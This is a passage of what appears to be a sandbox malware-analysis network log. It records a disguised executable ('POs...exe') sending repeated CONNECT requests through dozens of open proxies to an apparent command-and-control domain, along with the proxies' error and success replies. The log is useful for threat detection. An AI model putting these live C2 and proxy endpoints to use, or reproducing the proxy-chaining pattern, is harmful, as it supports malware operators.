Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.11	54182	111.90.150.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.256995916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.11	54149	103.120.6.46	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.260452032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.646378994 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.11	54132	89.218.8.152	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.263946056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.11	54230	217.23.11.194	47152	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.270963907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.565696955 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Mar 11, 2024 16:42:26.408341885 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.11	54233	147.75.34.85	10011	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.278803110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.580976009 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.11	54361	104.19.124.112	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.284115076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735745907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.893373966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.11	52244	184.178.172.26	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.290635109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.11	54210	159.192.139.42	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.301372051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.11	54151	103.190.54.141	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.301465988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.11	54270	23.137.248.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.301522017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.596210003 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.11	54274	188.166.17.18	8881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.316279888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.11	54231	103.23.100.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.317986965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.11	54309	82.113.157.122	31280	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.339446068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.918494940 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.11	54252	177.38.5.16	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.339488983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.11	53702	117.160.250.132	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.339788914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.952649117 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.11	54314	212.110.188.193	34409	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.340718985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.018498898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.439699888 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.11	53782	64.202.186.2	42587	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.341320992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.376317978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.376471043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.485965014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.579091072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.579118013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.579073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.579060078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.11	54226	103.83.232.122	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.343993902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.717145920 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.11	54324	46.17.63.166	4154	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.413640022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.706037998 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.11	54369	104.25.234.81	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.413721085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.568101883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.11	54285	104.248.158.78	47225	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.425205946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.188880920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.189301968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188922882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.11	54301	34.92.12.210	9238	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.425698042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.929915905 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.11	53812	27.76.193.213	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.425818920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.11	54254	186.215.87.194	6029	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
